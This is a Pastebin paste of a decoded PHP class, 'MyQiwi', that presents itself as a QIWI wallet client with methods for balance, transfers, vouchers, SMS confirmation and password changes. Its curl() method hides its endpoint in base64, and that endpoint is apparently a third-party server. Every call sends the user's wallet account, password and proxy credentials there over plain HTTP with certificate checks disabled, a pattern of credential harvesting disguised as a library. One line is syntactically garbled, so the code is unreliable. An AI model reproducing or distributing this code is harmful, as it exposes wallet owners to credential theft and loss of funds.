Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*decoded by decube.xyz
- source:myqiwi.class.php
- */
- class MyQiwi
- {
- private $iAccount;
- private $sPassword;
- private $sProxyIP;
- private $iProxyPort;
- private $sProxyType;
- private $sProxyUser;
- private $sProxyPassword;
- public $sResponse;
- public $aResponse;
- public $aBalances;
- public function __construct($iAccount, $sPassword, $sProxyIP = null, $iProxyPort = null, $sProxyType = null, $sProxyUser = null, $sProxyPassword = null)
- {
- $this->iAccount = $iAccount;
- $this->sPassword = $sPassword;
- $this->sProxyIP = $sProxyIP;
- $this->iProxyPort = $iProxyPort;
- $this->sProxyType = $sProxyType;
- $this->sProxyUser = $sProxyUser;
- $this->sProxyPassword = $sProxyPassword;
- $this->curl("getBalanceInfo");
- $this->aBalances = $this->aResponse["aBalances"];
- }
- public function gethistory($sStartDate, $sFinishDate)
- {
- $this->curl("getHistory", array("sStartDate" => $sStartDate, "sFinishDate" => $sFinishDate));
- return $this->aResponse["aData"];
- }
- public function transfer($iReceiver, $dAmount, $sCurrency, $sComment)
- {
- $this->curl("transfer", array("iReceiver" => $iReceiver, "dAmount" => $dAmount, "sCurrency" => $sCurrency, 0 => $sComment));
- return $this->aResponse["iTransferID"];
- }
- public function createegg($dAmount, $sComment)
- {
- $this->curl("createEgg", array("dAmount" => $dAmount, "sComment" => $sComment));
- return $this->aResponse["sCode"];
- }
- public function activateegg($sCode)
- {
- $this->curl("activateEgg", array("sCode" => $sCode));
- return array("dAmount" => $this->aResponse["dAmount"], "sComment" => $this->aResponse["sComment"]);
- }
- public function issmsactive()
- {
- $this->curl("getSMSConfirmInfo");
- return $this->aResponse["bActive"];
- }
- public function paymentsmsconfirm($iCode)
- {
- $this->curl("makeSMSConfirm", array("iCode" => $iCode));
- return $this->aResponse["iTransferID"];
- }
- public function requestchangepassword()
- {
- $this->curl("requestChangePassword");
- return $this->aResponse["iIdentifier"];
- }
- public function progresschangepassword($iIdentifier, $sOldPassword, $sNewPassword, $iCode)
- {
- $this->curl("progressChangePassword", array("iIdentifier" => $iIdentifier, "sOldPassword" => $sOldPassword, "sNewPassword" => $sNewPassword, "iCode" => $iCode));
- }
- public function requestconfirmpayments()
- {
- $this->curl("requestConfirmPayments");
- return $this->aResponse["iIdentifier"];
- }
- public function progressconfirmpayments($iIdentifier, $iCode)
- {
- $this->curl("progressConfirmPayments", array("iIdentifier" => $iIdentifier, "iCode" => $iCode));
- }
- public function editprofile($sLastName, $sFirstName, $sMiddleName, $sBirthDate, $sPassport)
- {
- $this->curl("editProfile", array("sFirstName" => $sFirstName, "sLastName" => $sLastName, "sMiddleName" => $sMiddleName, "sBirthDate" => $sBirthDate, "sPassport" => $sPassport));
- }
- public function getprofile()
- {
- $this->curl("getProfileInfo");
- return array($this->aResponse["sLastName"], $this->aResponse["sFirstName"], $this->aResponse["sMiddleName"], $this->aResponse["sBirthDate"], $this->aResponse["sPassport"]);
- }
- public function clearcookie()
- {
- $this->curl("clearCookie");
- }
- private function curl($sMod, array $aData = array())
- {
- $oCurl = &STRoCurl;
- if (is_null($oCurl)) {
- $oCurl = curl_init(base64_decode("aHR0cDovL2FwaXNlcnZlci5pbi51YS9hcGktcWl3aS5waHA="));
- curl_setopt_array($oCurl, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => false, CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36", CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_POST => true, CURLOPT_TIMEOUT => 60));
- }
- $aData["sMod"] = $sMod;
- $aData["iAccount"] = $this->iAccount;
- $aData["sPassword"] = $this->sPassword;
- $aData["sProxyIP"] = $this->sProxyIP;
- $aData["iProxyPort"] = $this->iProxyPort;
- $aData["sProxyType"] = $this->sProxyType;
- $aData["sProxyUser"] = $this->sProxyUser;
- $aData["sProxyPassword"] = $this->sProxyPassword;
- curl_setopt($oCurl, CURLOPT_POSTFIELDS, http_build_query($aData));
- $this->sResponse = curl_exec($oCurl);
- if (curl_errno($oCurl)) {
- throw new Exception(curl_errno($oCurl) . " - " . curl_error($oCurl));
- }
- if (($this->aResponse = @json_decode($this->sResponse, true)) === false) {
- throw new Exception($this->sResponse);
- }
- if (!isset($this->aResponse["sStatus"])) {
- throw new Exception($this->sResponse);
- }
- if ($this->aResponse["sStatus"] != "SUCCESS") {
- throw new Exception(isset($this->aResponse["sMessage"]) ? $this->aResponse["sMessage"] : $this->sResponse);
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement